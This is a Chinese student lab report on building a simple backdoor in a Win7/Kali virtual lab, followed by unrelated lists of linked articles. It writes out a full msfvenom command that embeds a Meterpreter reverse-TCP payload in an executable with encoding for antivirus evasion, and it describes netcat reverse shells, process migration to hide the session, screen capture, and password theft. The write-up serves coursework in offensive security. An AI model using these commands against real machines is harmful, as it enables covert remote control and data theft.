实验二:MAL——简单后门

一、后门是什么?

哪里有后门呢?

编译器留后门
操作系统留后门
最常见的当然还是应用程序中留后门
还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。

二、认识netcat

这是一个底层数据,常被与其他工具结合起到后门的作用。

准备工作:
一个win7系统和一个Kali系统,还有Windows下的netcat应用。

步骤:在Windows下打开监听

用Linux反弹连接Windows

接下来就可以在Windows命令行下输入一个linux shell,这里就使用ls指令查看文件和文件夹(注:由于我的linux下存在汉语文件目录,所以显示在Windows界面下出现了汉语解码问题,看起来是错误的但实际上是汉语)

这样就可以看出来效果了!

三、制作一个后门程序

生成一个5104_backdoor.exe复制到Windows下

当然,也可以用netcat传输……

我们准备了一个程序:20155104.exe是一个自己曾经制作的一个Windows可执行文件,放在linux目录下。
敲入代码:msfvenom -p windows/meterpreter/reverse_tcp -x ./20155104.exe -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.43.74 LPORT=5104 -f exe > 20155104_backdoor.exe

这里引用一段老师的资料:
-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
输出到哪个文件

注:这个实验要求我们关掉Windows杀毒软件,作为一个经典的后门制作程序,正常的杀毒软件一定会发现的……

四、MSF打开监听进程

打开msfconsole,按照操作来一遍!

这个时候在Windows下打开我们准备好的后门程序(双击运行即可,无需其他操作)

一打开文件,linux这边会自动检测到连接,现在我们已经取得了Windows端的控制权,于是我们尝试了一个Windows命令行dir查看当前文件夹。
看到这个界面,表示我们的操作是成功的了!

五、我们做一些其它有意思的东西

获取一个命令行界面!

(有那么一点玩脱了的意味,不过脑残一下,这个不重要)
现在我们玩个进场迁移吧!

用ps命令检视Windows进程,看到了这么多(界面受限没有截到输入的那个ps)进程,我决定对这个vmtools进程下手
成功了,进程迁移到了VMtools这个进程上,这样就不必担心用户关闭当前进程了!
现在让我们来截个图:

嘿嘿,看到了吗!界面成功截取了下来,放在了root文件夹下!
还可以偷取用户登录密码,等等。。。以后再自己试一试!

六、实验感受

在这次实验过程中其实是遇到了很多问题的,我用的Windows系统是win7 x86的32位运行系统,所以一开始找了一个64位可执行文件的时候提示出了错,后来重新改成了一个32位运行程序才避免了问题。
实验在验收前自己试着做过一遍,图片里可以感受出来~
而且代码中有一个编译轮数为5的指导代码会导致后门程序在启动运行时出错,这个在摸索了好几遍之后去掉了编译轮数,成功避免了再次出错。
总而言之,成功是建立在多次尝试以后的。

实验二:MAL——简单后门 by:赵文昊的更多相关文章

  1. 第四周总结和实验二Java简单类与对象

    实验目的 掌握类的定义,熟悉属性.构造函数.方法的使用,掌握用类作为类型声明变量和方法返回值: 理解类和对象的区别,掌握构造函数的使用,熟悉通过对象名引用实列的方法和属性: 理解static修饰对类. ...

  2. MS17-010 漏洞研究——免考课题 20155104 赵文昊

    免考实验与研究--MS17-010漏洞研究 研究内容 ·MS17-010漏洞的来源 ·MS17-010漏洞的攻击实例 ·MS17-010漏洞原理分析 ·MS17-010代码分析 写在前面:这次对一个漏 ...

  3. 2018-2019-2 20175126谢文航 实验二《Java面向对象程序设计》实验报告

    一.实验报告封面 课程:Java程序设计 班级:1751 班 姓名:谢文航 学号:20175126 指导教师:娄嘉鹏 实验日期:2019年4月17日 实验时间:--- 实验序号:实验二 实验名称:Ja ...

  4. mininet(二)简单的路由实验

    mininet(一)实验环境搭建 mininet(二)简单的路由实验 mininet(三)简单的NAT实验 在网上找了 好几个代码都是不能直接复现成功,这里把自己实现成功的代码给大家演示一下. 实验的 ...

  5. 20145239杜文超 《Java程序设计》实验二 Java面向对象程序设计实验报告

    20145239 <Java程序设计>实验二 Java面向对象程序设计实验报告 实验内容 初步掌握单元测试和TDD 理解并掌握面向对象三要素:封装.继承.多态 初步掌握UML建模 熟悉S. ...

  6. 实验二 Java面向对象程序设计

    实验二 Java面向对象程序设计 实验内容 1. 初步掌握单元测试和TDD 2. 理解并掌握面向对象三要素:封装.继承.多态 3. 初步掌握UML建模 4. 熟悉S.O.L.I.D原则 5. 了解设计 ...

  7. 实验二 PHP基本语法实验

    实验二 PHP基本语法实验 0 实验准备 0.1实验环境和相关工具软件 具体到的机房环境,请在Windowsxp环境下做本实验: l  操作系统:Windowsxp l  Web服务器:Apache ...

  8. 2017-2018-2 1723《程序设计与数据结构》第八周作业 & 实验二 & 第一周结对编程 总结

    作业地址 第八周作业:https://edu.cnblogs.com/campus/besti/CS-IMIS-1723/homework/1847 (作业界面已评分,可随时查看,如果对自己的评分有意 ...

  9. “Linux内核分析”实验二报告

    张文俊 + 原创作品转载请注明出处 + <Linux内核分析>MOOC课程http://mooc.study.163.com/course/USTC-1000029000 一.第二周学习内 ...

随机推荐

  1. Oracle 18C DBCA建库报ora-01012错误

    操作系统:rhel 7.2 解决方案: 1).设置/etc/systemd/logind.conf中RemoveIPC=no2).重启服务器或者重启systemd-logind重启systemd-lo ...

  2. blender show normals

    https://blenderartists.org/forum/showthread.php?193096-Blender-2-5-how-to-show-normals-in-viewport

  3. Android 架构:Android Jetpack 架构组件的学习和分析

    参考:https://mp.weixin.qq.com/s/n-AzV7Ke8wxVhmC6ruUIUA 参考:https://jekton.github.io/2018/06/30/android- ...

  4. Linux将yum源设置为阿里云的镜像源

    第一步:备份原有镜像源 mv /etc/yum.repo.d/Centos-Base.repo /etc/yum.repo.d/Centos-Base.repo.bak 第二步:下载阿里云的镜像源 w ...

  5. https认证握手过程

  6. go: writing stat cache:, permission denied

    sudo chown -R $(whoami):admin /Users/zhushuyan/go/pkg && sudo chmod -R g+rwx /Users/zhushuya ...

  7. 【Manacher算法】最长子回文串

    [Manacher算法] 这个算法用来找出一个字符串中最长的回文子字符串. 如果采取暴力解最长回文子字符串问题,大概可以有两种思路:1. 遍历出所有子字符串找其中最长的回文 2. 从每个字符作为中心, ...

  8. spring-boot-actuator报错Full authentication is required to access this resource

    解决办法[设置端点访问 ]: 1, 关闭验证 management.security.enabled=false 2,开启HTTP basic认证 -  添加依赖 <dependency> ...

  9. linux下添加逻辑分区并挂载(手动和自动方式)

    一.查看新磁盘[root@desktop61 Desktop]# fdisk -cul /dev/sdc Disk /dev/sdc: 21.5 GB, 21474836480 bytes255 he ...

  10. python 检测字符串编码类型是什么

    for index,value in enumerate(listvalue): adchar=chardet.detect(value) print adchar if adchar['encodi ...